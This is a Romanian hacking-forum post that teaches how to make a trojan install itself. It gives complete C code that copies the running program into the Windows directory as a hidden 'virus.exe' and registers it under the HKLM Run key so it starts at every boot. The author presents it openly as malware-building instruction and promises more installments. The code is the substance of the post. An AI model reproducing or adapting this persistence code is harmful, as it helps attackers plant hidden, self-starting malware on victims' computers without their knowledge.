Jump to content
SlicK

Instalarea unui troian

Recommended Posts

Posted

Cum sa facem ca trojanul nostru sa se instaleze in directorul windowsului si sa ruleze automat la startup.


#include <windows.h>
#include <stdio.h>

bool Install()
{
char FileName[MAX_PATH]; // pentru stocarea caii fisierului curent
char VirName[100]; // pentru stocarea cai troianului
HINSTANCE hInstance=GetModuleHandle(NULL); // handle-ul instantei curente
GetModuleFileName(hInstance, FileName, MAX_PATH); // obtinem numele fisierului curent
GetWindowsDirectory(VirName,100); //obtinem calea catre directorul windows (poate fi diferit de C:WINDOWS )
strcat(VirName,"\virus.exe"); // obtinem calea pe care o va avea troianul pe parcursul vietii sale (evident schimbati numele "virus.exe")

char lszValue[255]; // valoarea date din stringul urmaind a fi creeat in registrii
HKEY hKey; // cheia din registrii
LONG status; // pentru detectarea erorilor
DWORD dwType=REG_SZ; // tipul datelor stocate in stringul din registrii
DWORD dwSize=sizeof(VirName); //marimea valorii stringului

status=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run",0L,KEY_ALL_ACCESS,&hKey); //dechidem cheia din registrii
if(status==ERROR_SUCCESS)
{
status=RegQueryValueEx(hKey,"Porneste Virusul",NULL,&dwType,(LPBYTE)&lszValue,&dwSize);
// verificam daca exista deja un string cu acelasi nume
if (status!=ERROR_SUCCESS)
{
if(CopyFile(FileName,VirName,FALSE)!=0) // copiem fisierul curent in directul windowsului cu numele specificat mai sus
{
SetFileAttributes(VirName,FILE_ATTRIBUTE_HIDDEN); // facem fisierul ascuns
status=RegSetValueEx(hKey,"Porneste Virusul",0,REG_SZ,(const unsigned char*)VirName,dwSize); // creem un string cu valoarea numelui troianul
if(status==ERROR_SUCCESS)
{
RegCloseKey(hKey); // inchidem cheia
return true; // totul e ok
}// else: nu am putut scrie in registrii
}// else: troianul se afla deja in windows,mai exista un fisier cu acelasi nume sau nu avem permisiune de scriere
}// else: exista deja o valoare cu acelasi nume
RegCloseKey(hKey); // inchidem cheia
}//else: nu am putut deschide cheia din registrii
return false; //ceva a mers prost sau troianul e deja instalat
}

int main()
{
if(Install()==true) // daca instalarea a reusit
{
exit(0); // iesim si asteptam restartarea calculatorului, fisierul curent nu mai este folosit la nimic
}
else // daca nu a reusit (probabil troianul este deja instalat)
{
// continuam programul
}
return 0;
}

Sper sa fie usor de inteles pentru ca arata cam aiurea la 'Previzualizeaza" :)

To be continued...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...